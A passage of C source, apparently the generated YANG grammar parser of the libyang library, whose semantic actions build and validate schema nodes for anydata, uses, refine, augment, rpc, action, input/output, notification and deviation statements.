(yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 370:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_ANYDATA, sizeof(struct lys_node_anydata)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = ANYDATA_KEYWORD;\n }\n\n break;\n\n case 371:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing anydata statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 373:\n\n { void *tmp;\n\n if ((yyvsp[-1].nodes).node.ptr_anydata->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_anydata->iffeature, (yyvsp[-1].nodes).node.ptr_anydata->iffeature_size * sizeof *(yyvsp[-1].nodes).node.ptr_anydata->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_anydata->iffeature = tmp;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_anydata->must_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_anydata->must, (yyvsp[-1].nodes).node.ptr_anydata->must_size * sizeof *(yyvsp[-1].nodes).node.ptr_anydata->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_anydata->must = tmp;\n }\n }\n\n break;\n\n case 374:\n\n { (yyval.nodes).node.ptr_anydata = actual;\n (yyval.nodes).node.flag = actual_type;\n }\n\n break;\n\n case 378:\n\n { if ((yyvsp[-1].nodes).node.ptr_anydata->flags & LYS_CONFIG_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_anydata, \"config\",\n ((yyvsp[-1].nodes).node.flag == ANYXML_KEYWORD) ? \"anyxml\" : \"anydata\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_anydata->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 379:\n\n { if ((yyvsp[-1].nodes).node.ptr_anydata->flags & LYS_MAND_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_anydata, \"mandatory\",\n ((yyvsp[-1].nodes).node.flag == ANYXML_KEYWORD) ? \"anyxml\" : \"anydata\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_anydata->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 380:\n\n { if ((yyvsp[-1].nodes).node.ptr_anydata->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_anydata, \"status\",\n ((yyvsp[-1].nodes).node.flag == ANYXML_KEYWORD) ? \"anyxml\" : \"anydata\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_anydata->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 381:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).node.ptr_anydata, s, ((yyvsp[-1].nodes).node.flag == ANYXML_KEYWORD) ? \"anyxml\" : \"anydata\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 382:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).node.ptr_anydata, s, ((yyvsp[-1].nodes).node.flag == ANYXML_KEYWORD) ? \"anyxml\" : \"anydata\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 383:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_USES, sizeof(struct lys_node_uses)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = USES_KEYWORD;\n }\n\n break;\n\n case 384:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing uses statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 386:\n\n { void *tmp;\n\n if ((yyvsp[-1].nodes).uses->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).uses->iffeature, (yyvsp[-1].nodes).uses->iffeature_size * sizeof *(yyvsp[-1].nodes).uses->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).uses->iffeature = tmp;\n }\n\n if ((yyvsp[-1].nodes).uses->refine_size) {\n tmp = realloc((yyvsp[-1].nodes).uses->refine, (yyvsp[-1].nodes).uses->refine_size * sizeof *(yyvsp[-1].nodes).uses->refine);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).uses->refine = tmp;\n }\n\n if ((yyvsp[-1].nodes).uses->augment_size) {\n tmp = realloc((yyvsp[-1].nodes).uses->augment, (yyvsp[-1].nodes).uses->augment_size * sizeof *(yyvsp[-1].nodes).uses->augment);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).uses->augment = tmp;\n }\n }\n\n break;\n\n case 387:\n\n { (yyval.nodes).uses = actual; }\n\n break;\n\n case 390:\n\n { if ((yyvsp[-1].nodes).uses->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).uses, \"status\", \"uses\");\n YYABORT;\n }\n (yyvsp[-1].nodes).uses->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 391:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).uses, s, \"uses\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 392:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).uses, s, \"uses\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 397:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n YANG_ADDELEM(((struct lys_node_uses *)actual)->refine,\n ((struct lys_node_uses *)actual)->refine_size, \"refines\");\n ((struct lys_refine *)actual)->target_name = transform_schema2json(trg, s);\n free(s);\n s = NULL;\n if (!((struct lys_refine *)actual)->target_name) {\n YYABORT;\n }\n actual_type = REFINE_KEYWORD;\n }\n\n break;\n\n case 398:\n\n { actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 400:\n\n { void *tmp;\n\n if ((yyvsp[-1].nodes).refine->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).refine->iffeature, (yyvsp[-1].nodes).refine->iffeature_size * sizeof *(yyvsp[-1].nodes).refine->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).refine->iffeature = tmp;\n }\n\n if ((yyvsp[-1].nodes).refine->must_size) {\n tmp = realloc((yyvsp[-1].nodes).refine->must, (yyvsp[-1].nodes).refine->must_size * sizeof *(yyvsp[-1].nodes).refine->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).refine->must = tmp;\n }\n\n if ((yyvsp[-1].nodes).refine->dflt_size) {\n tmp = realloc((yyvsp[-1].nodes).refine->dflt, (yyvsp[-1].nodes).refine->dflt_size * sizeof *(yyvsp[-1].nodes).refine->dflt);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).refine->dflt = tmp;\n }\n }\n\n break;\n\n case 401:\n\n { (yyval.nodes).refine = actual;\n actual_type = REFINE_KEYWORD;\n }\n\n break;\n\n case 402:\n\n { actual = (yyvsp[-2].nodes).refine;\n actual_type = REFINE_KEYWORD;\n if ((yyvsp[-2].nodes).refine->target_type) {\n if ((yyvsp[-2].nodes).refine->target_type & (LYS_LEAF | LYS_LIST | LYS_LEAFLIST | LYS_CONTAINER | LYS_ANYXML)) {\n (yyvsp[-2].nodes).refine->target_type &= (LYS_LEAF | LYS_LIST | LYS_LEAFLIST | LYS_CONTAINER | LYS_ANYXML);\n } else {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"must\", \"refine\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid refine target nodetype for the substatements.\");\n YYABORT;\n }\n } else {\n (yyvsp[-2].nodes).refine->target_type = LYS_LEAF | LYS_LIST | LYS_LEAFLIST | LYS_CONTAINER | LYS_ANYXML;\n }\n }\n\n break;\n\n case 403:\n\n { /* leaf, leaf-list, list, container or anyxml */\n /* check possibility of statements combination */\n if ((yyvsp[-2].nodes).refine->target_type) {\n if ((yyvsp[-2].nodes).refine->target_type & (LYS_LEAF | LYS_LIST | LYS_LEAFLIST | LYS_CONTAINER | LYS_ANYDATA)) {\n (yyvsp[-2].nodes).refine->target_type &= (LYS_LEAF | LYS_LIST | LYS_LEAFLIST | LYS_CONTAINER | LYS_ANYDATA);\n } else {\n free(s);\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"if-feature\", \"refine\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid refine target nodetype for the substatements.\");\n YYABORT;\n }\n } else {\n (yyvsp[-2].nodes).refine->target_type = LYS_LEAF | LYS_LIST | LYS_LEAFLIST | LYS_CONTAINER | LYS_ANYDATA;\n }\n }\n\n break;\n\n case 404:\n\n { if ((yyvsp[-1].nodes).refine->target_type) {\n if ((yyvsp[-1].nodes).refine->target_type & LYS_CONTAINER) {\n if ((yyvsp[-1].nodes).refine->mod.presence) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"presence\", \"refine\");\n free(s);\n YYABORT;\n }\n (yyvsp[-1].nodes).refine->target_type = LYS_CONTAINER;\n (yyvsp[-1].nodes).refine->mod.presence = lydict_insert_zc(trg->ctx, s);\n } else {\n free(s);\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"presence\", \"refine\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid refine target nodetype for the substatements.\");\n YYABORT;\n }\n } else {\n (yyvsp[-1].nodes).refine->target_type = LYS_CONTAINER;\n (yyvsp[-1].nodes).refine->mod.presence = lydict_insert_zc(trg->ctx, s);\n }\n s = NULL;\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 405:\n\n { int i;\n\n if ((yyvsp[-1].nodes).refine->dflt_size) {\n if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"default\", \"refine\");\n YYABORT;\n }\n if ((yyvsp[-1].nodes).refine->target_type & LYS_LEAFLIST) {\n (yyvsp[-1].nodes).refine->target_type = LYS_LEAFLIST;\n } else {\n free(s);\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"default\", \"refine\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid refine target nodetype for the substatements.\");\n YYABORT;\n }\n } else {\n if ((yyvsp[-1].nodes).refine->target_type) {\n if (trg->version < 2 && ((yyvsp[-1].nodes).refine->target_type & (LYS_LEAF | LYS_CHOICE))) {\n (yyvsp[-1].nodes).refine->target_type &= (LYS_LEAF | LYS_CHOICE);\n } if (trg->version > 1 && ((yyvsp[-1].nodes).refine->target_type & (LYS_LEAF | LYS_LEAFLIST | LYS_CHOICE))) {\n /* YANG 1.1 */\n (yyvsp[-1].nodes).refine->target_type &= (LYS_LEAF | LYS_LEAFLIST | LYS_CHOICE);\n } else {\n free(s);\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"default\", \"refine\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid refine target nodetype for the substatements.\");\n YYABORT;\n }\n } else {\n if (trg->version < 2) {\n (yyvsp[-1].nodes).refine->target_type = LYS_LEAF | LYS_CHOICE;\n } else {\n /* YANG 1.1 */\n (yyvsp[-1].nodes).refine->target_type = LYS_LEAF | LYS_LEAFLIST | LYS_CHOICE;\n }\n }\n }\n /* check for duplicity */\n for (i = 0; i < (yyvsp[-1].nodes).refine->dflt_size; ++i) {\n if (ly_strequal((yyvsp[-1].nodes).refine->dflt[i], s, 0)) {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"default\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Duplicated default value \\\"%s\\\".\", s);\n YYABORT;\n }\n }\n YANG_ADDELEM((yyvsp[-1].nodes).refine->dflt, (yyvsp[-1].nodes).refine->dflt_size, \"defaults\");\n *((const char **)actual) = lydict_insert_zc(trg->ctx, s);\n actual = (yyvsp[-1].nodes).refine;\n s = NULL;\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 406:\n\n { if ((yyvsp[-1].nodes).refine->target_type) {\n if ((yyvsp[-1].nodes).refine->target_type & (LYS_LEAF | LYS_CHOICE | LYS_LIST | LYS_CONTAINER | LYS_LEAFLIST)) {\n (yyvsp[-1].nodes).refine->target_type &= (LYS_LEAF | LYS_CHOICE | LYS_LIST | LYS_CONTAINER | LYS_LEAFLIST);\n if ((yyvsp[-1].nodes).refine->flags & LYS_CONFIG_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"config\", \"refine\");\n YYABORT;\n }\n (yyvsp[-1].nodes).refine->flags |= (yyvsp[0].i);\n } else {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"config\", \"refine\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid refine target nodetype for the substatements.\");\n YYABORT;\n }\n } else {\n (yyvsp[-1].nodes).refine->target_type = LYS_LEAF | LYS_CHOICE | LYS_LIST | LYS_CONTAINER | LYS_LEAFLIST;\n (yyvsp[-1].nodes).refine->flags |= (yyvsp[0].i);\n }\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 407:\n\n { if ((yyvsp[-1].nodes).refine->target_type) {\n if ((yyvsp[-1].nodes).refine->target_type & (LYS_LEAF | LYS_CHOICE | LYS_ANYXML)) {\n (yyvsp[-1].nodes).refine->target_type &= (LYS_LEAF | LYS_CHOICE | LYS_ANYXML);\n if ((yyvsp[-1].nodes).refine->flags & LYS_MAND_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"mandatory\", \"refine\");\n YYABORT;\n }\n (yyvsp[-1].nodes).refine->flags |= (yyvsp[0].i);\n } else {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"mandatory\", \"refine\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid refine target nodetype for the substatements.\");\n YYABORT;\n }\n } else {\n (yyvsp[-1].nodes).refine->target_type = LYS_LEAF | LYS_CHOICE | LYS_ANYXML;\n (yyvsp[-1].nodes).refine->flags |= (yyvsp[0].i);\n }\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 408:\n\n { if ((yyvsp[-1].nodes).refine->target_type) {\n if ((yyvsp[-1].nodes).refine->target_type & (LYS_LIST | LYS_LEAFLIST)) {\n (yyvsp[-1].nodes).refine->target_type &= (LYS_LIST | LYS_LEAFLIST);\n if ((yyvsp[-1].nodes).refine->flags & LYS_RFN_MINSET) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"min-elements\", \"refine\");\n YYABORT;\n }\n (yyvsp[-1].nodes).refine->flags |= LYS_RFN_MINSET;\n (yyvsp[-1].nodes).refine->mod.list.min = (yyvsp[0].uint);\n } else {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"min-elements\", \"refine\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid refine target nodetype for the substatements.\");\n YYABORT;\n }\n } else {\n (yyvsp[-1].nodes).refine->target_type = LYS_LIST | LYS_LEAFLIST;\n (yyvsp[-1].nodes).refine->flags |= LYS_RFN_MINSET;\n (yyvsp[-1].nodes).refine->mod.list.min = (yyvsp[0].uint);\n }\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 409:\n\n { if ((yyvsp[-1].nodes).refine->target_type) {\n if ((yyvsp[-1].nodes).refine->target_type & (LYS_LIST | LYS_LEAFLIST)) {\n (yyvsp[-1].nodes).refine->target_type &= (LYS_LIST | LYS_LEAFLIST);\n if ((yyvsp[-1].nodes).refine->flags & LYS_RFN_MAXSET) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"max-elements\", \"refine\");\n YYABORT;\n }\n (yyvsp[-1].nodes).refine->flags |= LYS_RFN_MAXSET;\n (yyvsp[-1].nodes).refine->mod.list.max = (yyvsp[0].uint);\n } else {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"max-elements\", \"refine\");\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid refine target nodetype for the substatements.\");\n YYABORT;\n }\n } else {\n (yyvsp[-1].nodes).refine->target_type = LYS_LIST | LYS_LEAFLIST;\n (yyvsp[-1].nodes).refine->flags |= LYS_RFN_MAXSET;\n (yyvsp[-1].nodes).refine->mod.list.max = (yyvsp[0].uint);\n }\n (yyval.nodes) = (yyvsp[-1].nodes);\n }\n\n break;\n\n case 410:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).refine, s, \"refine\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 411:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).refine, s, \"refine\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 414:\n\n { void *parent;\n\n (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n parent = actual;\n YANG_ADDELEM(((struct lys_node_uses *)actual)->augment,\n ((struct lys_node_uses *)actual)->augment_size, \"augments\");\n if (yang_read_augment(trg, parent, actual, s)) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = AUGMENT_KEYWORD;\n }\n\n break;\n\n case 415:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing augment statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-4].backup_token).token;\n actual = (yyvsp[-4].backup_token).actual;\n data_node = (yyvsp[-4].backup_token).actual;\n }\n\n break;\n\n case 418:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n YANG_ADDELEM(trg->augment, trg->augment_size, \"augments\");\n if (yang_read_augment(trg, NULL, actual, s)) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = AUGMENT_KEYWORD;\n }\n\n break;\n\n case 419:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing augment statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-4].backup_token).token;\n actual = (yyvsp[-4].backup_token).actual;\n data_node = (yyvsp[-4].backup_token).actual;\n }\n\n break;\n\n case 420:\n\n { (yyval.nodes).augment = actual; }\n\n break;\n\n case 423:\n\n { if ((yyvsp[-1].nodes).augment->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).augment, \"status\", \"augment\");\n YYABORT;\n }\n (yyvsp[-1].nodes).augment->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 424:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).augment, s, \"augment\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 425:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).augment, s, \"augment\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 428:\n\n { if (trg->version < 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_LYS, (yyvsp[-2].nodes).augment, \"notification\");\n YYABORT;\n }\n }\n\n break;\n\n case 430:\n\n { if (param->module->version != 2) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_LYS, actual, \"action\");\n free(s);\n YYABORT;\n }\n (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_ACTION, sizeof(struct lys_node_rpc_action)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = ACTION_KEYWORD;\n }\n\n break;\n\n case 431:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing action statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 432:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, NULL, param->node, s, LYS_RPC, sizeof(struct lys_node_rpc_action)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = RPC_KEYWORD;\n }\n\n break;\n\n case 433:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing rpc statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 435:\n\n { void *tmp;\n\n if ((yyvsp[-1].nodes).node.ptr_rpc->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_rpc->iffeature, (yyvsp[-1].nodes).node.ptr_rpc->iffeature_size * sizeof *(yyvsp[-1].nodes).node.ptr_rpc->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_rpc->iffeature = tmp;\n }\n\n if ((yyvsp[-1].nodes).node.ptr_rpc->tpdf_size) {\n tmp = realloc((yyvsp[-1].nodes).node.ptr_rpc->tpdf, (yyvsp[-1].nodes).node.ptr_rpc->tpdf_size * sizeof *(yyvsp[-1].nodes).node.ptr_rpc->tpdf);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_rpc->tpdf = tmp;\n }\n }\n\n break;\n\n case 436:\n\n { (yyval.nodes).node.ptr_rpc = actual;\n (yyval.nodes).node.flag = 0;\n }\n\n break;\n\n case 438:\n\n { if ((yyvsp[-1].nodes).node.ptr_rpc->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).node.ptr_rpc, \"status\", \"rpc\");\n YYABORT;\n }\n (yyvsp[-1].nodes).node.ptr_rpc->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 439:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).node.ptr_rpc, s, \"rpc\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 440:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).node.ptr_rpc, s, \"rpc\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 443:\n\n { if ((yyvsp[-2].nodes).node.flag & LYS_RPC_INPUT) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-2].nodes).node.ptr_rpc, \"input\", \"rpc\");\n YYABORT;\n }\n (yyvsp[-2].nodes).node.flag |= LYS_RPC_INPUT;\n (yyval.nodes) = (yyvsp[-2].nodes);\n }\n\n break;\n\n case 444:\n\n { if ((yyvsp[-2].nodes).node.flag & LYS_RPC_OUTPUT) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-2].nodes).node.ptr_rpc, \"output\", \"rpc\");\n YYABORT;\n }\n (yyvsp[-2].nodes).node.flag |= LYS_RPC_OUTPUT;\n (yyval.nodes) = (yyvsp[-2].nodes);\n }\n\n break;\n\n case 445:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n s = strdup(\"input\");\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_INPUT, sizeof(struct lys_node_inout)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = INPUT_KEYWORD;\n }\n\n break;\n\n case 446:\n\n { void *tmp;\n struct lys_node_inout *input = actual;\n\n if (input->must_size) {\n tmp = realloc(input->must, input->must_size * sizeof *input->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n input->must = tmp;\n }\n\n if (input->tpdf_size) {\n tmp = realloc(input->tpdf, input->tpdf_size * sizeof *input->tpdf);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n input->tpdf = tmp;\n }\n\n LOGDBG(LY_LDGYANG, \"finished parsing input statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-4].backup_token).token;\n actual = (yyvsp[-4].backup_token).actual;\n data_node = (yyvsp[-4].backup_token).actual;\n }\n\n break;\n\n case 452:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n s = strdup(\"output\");\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_OUTPUT, sizeof(struct lys_node_inout)))) {\n YYABORT;\n }\n data_node = actual;\n s = NULL;\n actual_type = OUTPUT_KEYWORD;\n }\n\n break;\n\n case 453:\n\n { void *tmp;\n struct lys_node_inout *output = actual;\n\n if (output->must_size) {\n tmp = realloc(output->must, output->must_size * sizeof *output->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n output->must = tmp;\n }\n\n if (output->tpdf_size) {\n tmp = realloc(output->tpdf, output->tpdf_size * sizeof *output->tpdf);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n output->tpdf = tmp;\n }\n\n LOGDBG(LY_LDGYANG, \"finished parsing output statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-4].backup_token).token;\n actual = (yyvsp[-4].backup_token).actual;\n data_node = (yyvsp[-4].backup_token).actual;\n }\n\n break;\n\n case 454:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_node(trg, actual, param->node, s, LYS_NOTIF, sizeof(struct lys_node_notif)))) {\n YYABORT;\n }\n data_node = actual;\n actual_type = NOTIFICATION_KEYWORD;\n }\n\n break;\n\n case 455:\n\n { LOGDBG(LY_LDGYANG, \"finished parsing notification statement \\\"%s\\\"\", data_node->name);\n actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n data_node = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 457:\n\n { void *tmp;\n\n if ((yyvsp[-1].nodes).notif->must_size) {\n tmp = realloc((yyvsp[-1].nodes).notif->must, (yyvsp[-1].nodes).notif->must_size * sizeof *(yyvsp[-1].nodes).notif->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).notif->must = tmp;\n }\n\n if ((yyvsp[-1].nodes).notif->iffeature_size) {\n tmp = realloc((yyvsp[-1].nodes).notif->iffeature, (yyvsp[-1].nodes).notif->iffeature_size * sizeof *(yyvsp[-1].nodes).notif->iffeature);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).notif->iffeature = tmp;\n }\n\n if ((yyvsp[-1].nodes).notif->tpdf_size) {\n tmp = realloc((yyvsp[-1].nodes).notif->tpdf, (yyvsp[-1].nodes).notif->tpdf_size * sizeof *(yyvsp[-1].nodes).notif->tpdf);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].nodes).notif->tpdf = tmp;\n }\n }\n\n break;\n\n case 458:\n\n { (yyval.nodes).notif = actual; }\n\n break;\n\n case 461:\n\n { if ((yyvsp[-1].nodes).notif->flags & LYS_STATUS_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_LYS, (yyvsp[-1].nodes).notif, \"status\", \"notification\");\n YYABORT;\n }\n (yyvsp[-1].nodes).notif->flags |= (yyvsp[0].i);\n }\n\n break;\n\n case 462:\n\n { if (yang_read_description(trg, (yyvsp[-1].nodes).notif, s, \"notification\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 463:\n\n { if (yang_read_reference(trg, (yyvsp[-1].nodes).notif, s, \"notification\", NODE_PRINT)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 467:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n YANG_ADDELEM(trg->deviation, trg->deviation_size, \"deviations\");\n ((struct lys_deviation *)actual)->target_name = transform_schema2json(trg, s);\n free(s);\n if (!((struct lys_deviation *)actual)->target_name) {\n YYABORT;\n }\n s = NULL;\n actual_type = DEVIATION_KEYWORD;\n }\n\n break;\n\n case 468:\n\n { void *tmp;\n\n if 